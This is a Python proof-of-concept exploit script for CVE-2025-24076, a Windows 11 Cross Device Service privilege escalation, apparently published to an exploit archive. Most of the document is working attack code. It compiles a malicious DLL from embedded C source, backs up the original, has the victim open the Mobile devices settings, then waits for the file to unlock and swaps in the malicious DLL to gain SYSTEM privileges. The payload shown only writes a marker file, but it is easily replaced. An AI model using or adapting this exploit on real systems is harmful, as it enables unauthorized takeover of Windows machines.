Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege

#!/usr/bin/env python3
# Exploit Title: Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-06
# Tested on: Windows 11 Version 24H2 for x64-based Systems (10.0.26100.3476)
# CVE: CVE-2025-24076
#
# Affected Versions:
# - Windows 11 Version 24H2 (x64 and ARM64)
# - Windows 11 Version 23H2 (x64 and ARM64)
# - Windows 11 Version 22H2 (x64 and ARM64)
# - Windows Server 2025
# - Windows Server 2022 23H2 (Server Core installation)
#
# Type: Elevation of Privilege
# Platform: Microsoft Windows
# Author Country: Jordan
# CVSS v3.1 Score: 7.3 (Important)
# Weakness: CWE-284: Improper Access Control
# Attack Vector: Local
# Privileges Required: Low
# User Interaction: Required
# Scope: Unchanged
# Confidentiality, Integrity, Availability Impact: High
# Exploit Code Maturity: Unproven
# Remediation Level: Official Fix
# Description:
# This vulnerability affects Microsoft Windows 11 (various versions including 24H2, 23H2, and 22H2)
# and Windows Server 2025. It targets improper access control in the Windows Cross Device Service,
# allowing a low-privileged local attacker to overwrite a critical DLL file (CrossDevice.Streaming.Source.dll)
# in a writable directory. After triggering user interaction by opening Windows "Mobile devices" Settings,
# the attacker can replace the DLL with a malicious version, leading to SYSTEM privilege escalation.
#
# Steps of exploitation:
# 1. Verify the presence of the vulnerable DLL in the writable directory.
# 2. Build a malicious DLL that executes code with SYSTEM privileges upon loading.
# 3. Backup the original DLL to allow recovery.
# 4. Trigger the DLL load by instructing the user to open the "Mobile devices" Settings page.
# 5. Wait until the DLL is unlocked and replace it with the malicious DLL.
# 6. Achieve SYSTEM privileges when the system loads the malicious DLL.
#
# This exploit requires low privileges and user interaction but has low attack complexity
# and results in high impact due to full privilege escalation.
#



import os
import shutil
import time
from pathlib import Path
import subprocess

# Target DLL name based on vulnerability research
DLL_NAME = "CrossDevice.Streaming.Source.dll"
TARGET_PATH = Path("C:/ProgramData/CrossDevice")
MALICIOUS_DLL = Path("malicious.dll")
BACKUP_ORIGINAL_DLL = Path("original_backup.dll")

# C source code for malicious DLL
MALICIOUS_C_CODE = r'''
#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        FILE *file = fopen("C:\\poc_only_admin_can_write_to_c.txt", "w");
        if (file) {
            fputs("Exploit succeeded! You have SYSTEM privileges.\n", file);
            fclose(file);
        }
    }
    return TRUE;
}
'''

def build_malicious_dll():
    print("[*] Building malicious DLL from C source...")
    c_file = Path("malicious.c")
    # Write C source code to file
    with open(c_file, "w") as f:
        f.write(MALICIOUS_C_CODE)
    # Compile DLL using gcc (MinGW)
    compile_cmd = [
        "gcc", "-shared", "-o", str(MALICIOUS_DLL), str(c_file),
        "-Wl,--subsystem,windows"
    ]
    try:
        subprocess.run(compile_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        print(f"[+] Malicious DLL built successfully: {MALICIOUS_DLL}")
        # Clean up C source file
        c_file.unlink()
        return True
    except subprocess.CalledProcessError as e:
        print("[!] Failed to build malicious DLL.")
        print("gcc output:", e.stderr.decode())
        return False

def is_vulnerable():
    if not TARGET_PATH.exists():
        print("[!] Target directory not found.")
        return False
    dll_path = TARGET_PATH / DLL_NAME
    if not dll_path.exists():
        print("[!] Target DLL not found.")
        return False
    print("[+] System appears vulnerable, DLL found in a writable path.")
    return True

def backup_original():
    dll_path = TARGET_PATH / DLL_NAME
    backup_path = TARGET_PATH / BACKUP_ORIGINAL_DLL
    shutil.copyfile(dll_path, backup_path)
    print(f"[+] Backup created at: {backup_path}")

def replace_with_malicious():
    dll_path = TARGET_PATH / DLL_NAME
    try:
        shutil.copyfile(MALICIOUS_DLL, dll_path)
        print("[+] Successfully replaced the DLL with malicious version.")
        return True
    except PermissionError:
        print("[!] Cannot write to DLL. Make sure the process using it is stopped.")
        return False

def monitor_and_replace():
    dll_path = TARGET_PATH / DLL_NAME
    print("[*] Monitoring DLL until it is unlocked...")
    while True:
        try:
            with open(dll_path, 'rb+') as f:
                print("[+] File is unlocked. Attempting replacement...")
                time.sleep(0.5)
                return replace_with_malicious()
        except PermissionError:
            time.sleep(0.5)

def trigger_com():
    print("[*] To trigger DLL load, please open Windows Settings -> Mobile devices")
    input("[*] After opening Settings, press Enter to continue...")

def main():
    if not build_malicious_dll():
        return
    if not is_vulnerable():
        return

    backup_original()
    trigger_com()

    success = monitor_and_replace()
    if success:
        print("[✓] Exploit completed successfully. Check results (e.g., C:\\poc_only_admin_can_write_to_c.txt).")
    else:
        print("[✗] Exploit failed.")

if __name__ == "__main__":
    main()